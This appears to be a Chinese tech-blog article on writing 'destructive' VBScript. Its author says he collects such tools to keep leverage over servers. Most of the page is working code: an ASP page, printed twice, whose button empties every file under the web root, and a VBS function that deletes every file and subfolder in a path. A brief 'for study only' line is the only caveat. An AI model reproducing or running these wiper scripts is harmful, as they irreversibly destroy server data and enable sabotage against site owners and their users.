溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

VBS如何實現(xiàn)破壞性應用

發(fā)布時間:2021-10-12 09:22:22 來源:億速云 閱讀:111 作者:小新 欄目:開發(fā)技術(shù)

小編給大家分享一下VBS如何實現(xiàn)破壞性應用,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!

僅供學習參考。

'網(wǎng)上看到的,適用與沒有禁用shell.application的服務器   
server.scripttimeout = 99999   
If request("submit")<>"" Then  
    Call listfile(server.mappath("./"))   
    response.Write"處理完畢"  
Else  
    response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的內(nèi)容""></form>"  
End If  

Function listfile(fpath)   
    On Error Resume Next  
    Dim Shell, Folder, s   
    Set Shell = server.CreateObject ("shell.application")   
    Set Folder = Shell.namespace(fpath)   
    Set f = server.CreateObject("adodb.stream")   
    f.Type = 1   
    f.Open  
    For Each s in Folder.Items   
        If s.isfolder Then  
            Call listfile(s.Path)   
        Else  
            f.savetofile s.Path, 2   
        End If  
    Next  
    Set f = Nothing  
    Set Shell = Nothing  
End Function  

'網(wǎng)上看到的,適用與沒有禁用shell.application的服務器
server.scripttimeout = 99999
If request("submit")<>"" Then
    Call listfile(server.mappath("./"))
    response.Write"處理完畢"
Else
    response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的內(nèi)容""></form>"
End If

Function listfile(fpath)
    On Error Resume Next
    Dim Shell, Folder, s
    Set Shell = server.CreateObject ("shell.application")
    Set Folder = Shell.namespace(fpath)
    Set f = server.CreateObject("adodb.stream")
    f.Type = 1
    f.Open
    For Each s in Folder.Items
        If s.isfolder Then
            Call listfile(s.Path)
        Else
            f.savetofile s.Path, 2
        End If
    Next
    Set f = Nothing
    Set Shell = Nothing
End Function
以前也看到過這個,感覺沒什么用,這么危險的組件服務器一般都禁用了,但今天,我突然覺得有進也得收集或制作一些這樣的軟件,可以維護自己的權(quán)力。具體什么原因我就不說了,我寫的一個:

view plaincopy to clipboardprint?
'看到文件刪文件,看到文件夾刪除文件夾   
Function FilesTree(sPath)   
    Set oFso = CreateObject("Scripting.FileSystemObject")   
    Set oFolder = oFso.GetFolder(sPath)   
    Set oSubFolders = oFolder.SubFolders   

    Set oFiles = oFolder.Files   
    For Each oFile In oFiles   
        'WScript.Echo oFile.Path   
        oFile.Delete  
    Next  

    For Each oSubFolder In oSubFolders   
        'WScript.Echo oSubFolder.Path   
        oSubFolder.Delete  
        'FilesTree(oSubFolder.Path)'遞歸   
    Next  

    Set oFolder = Nothing  
    Set oSubFolders = Nothing  
    Set oFso = Nothing  
End Function  

FilesTree("F:\deltest\deltest") '遍歷  

以上是“VBS如何實現(xiàn)破壞性應用”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學習更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

vbs
AI